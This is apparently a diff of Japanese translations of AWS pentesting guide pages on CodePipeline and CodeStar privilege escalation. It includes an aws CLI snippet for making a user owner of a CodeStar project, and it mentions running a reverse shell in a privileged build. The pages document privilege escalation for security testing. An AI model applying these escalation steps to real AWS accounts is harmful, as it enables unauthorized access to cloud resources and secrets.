+**ビルドプロジェクトの作成中**に、**実行するコマンド**（rev shell?）を指定し、**特権ユーザー**としてビルドフェーズを実行することができます。これが攻撃者が妥協するために必要な設定です:
 
 ![](<../../../images/image (276).png>)
 
@@ -32,6 +32,6 @@ Codepipelineに関する詳細情報は以下を確認してください:
 
 [AWSは次のように述べています](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
 
-> このAPIが呼び出されると、CodePipelineは**パイプラインのアーティファクトを保存するために使用されるS3バケットの一時的な資格情報を返します**。アクションがそのS3バケットへの入力または出力アーティファクトへのアクセスを必要とする場合です。このAPIはまた、**アクションのために定義された任意の秘密の値を返します**。
+> このAPIが呼び出されると、CodePipelineは**パイプラインのアーティファクトを保存するために使用されるS3バケットの一時的な資格情報を返します**。アクションがそのS3バケットへの入力または出力アーティファクトへのアクセスを必要とする場合。このAPIはまた、**アクションのために定義された任意の秘密の値を返します**。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md

@@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md
 
 ### `iam:PassRole`, `codestar:CreateProject`
 
-これらの権限を使用すると、**cloudformationテンプレート**を介して**任意のアクション**を実行するために**codestar IAMロールを悪用**できます。以下のページを確認してください：
+これらの権限を使用すると、**cloudformationテンプレート**を介して**任意のアクション**を実行するために**codestar IAMロールを悪用**できます。次のページを確認してください：
 
 {{#ref}}
 iam-passrole-codestar-createproject.md
@@ -20,7 +20,7 @@ iam-passrole-codestar-createproject.md
 
 ### `codestar:CreateProject`, `codestar:AssociateTeamMember`
 
-この技術は、`codestar:CreateProject`を使用してcodestarプロジェクトを作成し、`codestar:AssociateTeamMember`を使用してIAMユーザーを新しいCodeStar **プロジェクト**の**オーナー**にすることで、**いくつかの追加権限を持つ新しいポリシー**を付与します。
+この手法は、`codestar:CreateProject`を使用してcodestarプロジェクトを作成し、`codestar:AssociateTeamMember`を使用してIAMユーザーを新しいCodeStar **プロジェクト**の**所有者**にすることで、**いくつかの追加権限を持つ新しいポリシーを付与**します。
 ```bash
 PROJECT_NAME="supercodestar"
 
@@ -39,9 +39,9 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
 --project-role "Owner" \
 --remote-access-allowed
 ```
-もしあなたがすでに**プロジェクトのメンバー**であれば、権限**`codestar:UpdateTeamMember`**を使用して**役割をオーナーに更新**できます。`codestar:AssociateTeamMember`の代わりに。
+もしあなたがすでに**プロジェクトのメンバー**であれば、権限**`codestar:UpdateTeamMember`**を使用して**役割をオーナー**に更新することができます。`codestar:AssociateTeamMember`の代わりに。
 
-**潜在的な影響:** codestarポリシーへのプライベートエスカレーション。以下のポリシーの例を見つけることができます。
+**潜在的な影響:** codestarポリシーへのプライベートエスカレーション。以下にそのポリシーの例を見つけることができます：
 
 {{#ref}}
 codestar-createproject-codestar-associateteammember.md
@@ -52,15 +52,15 @@ codestar-createproject-codestar-associateteammember.md
 1. **新しいプロジェクトを作成:**
 - **`codestar:CreateProjectFromTemplate`**アクションを利用して新しいプロジェクトの作成を開始します。
 - 成功裏に作成されると、**`cloudformation:UpdateStack`**へのアクセスが自動的に付与されます。
-- このアクセスは、`CodeStarWorker-<generic project name>-CloudFormation` IAMロールに関連付けられたスタックを特に対象とします。
+- このアクセスは、`CodeStarWorker-<generic project name>-CloudFormation` IAMロールに関連付けられたスタックを特に対象としています。
 2. **ターゲットスタックを更新:**
 - 付与されたCloudFormation権限を使用して、指定されたスタックを更新します。
-- スタックの名前は通常、次の2つのパターンのいずれかに従います:
+- スタックの名前は通常、次の2つのパターンのいずれかに従います：
 - `awscodestar-<generic project name>-infrastructure`
 - `awscodestar-<generic project name>-lambda`
 - 正確な名前は選択したテンプレートに依存します（例のエクスプロイトスクリプトを参照）。
 3. **アクセスと権限:**
-- 更新後、スタックに関連付けられた**CloudFormation IAMロール**に割り当てられた機能を取得します。
+- 更新後、スタックにリンクされた**CloudFormation IAMロール**に割り当てられた機能を取得します。
 - 注意: これは本質的に完全な管理者権限を提供するものではありません。権限をさらに昇格させるためには、環境内の追加の誤設定されたリソースが必要になる場合があります。
 
 詳細については、元の研究を確認してください: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/)。\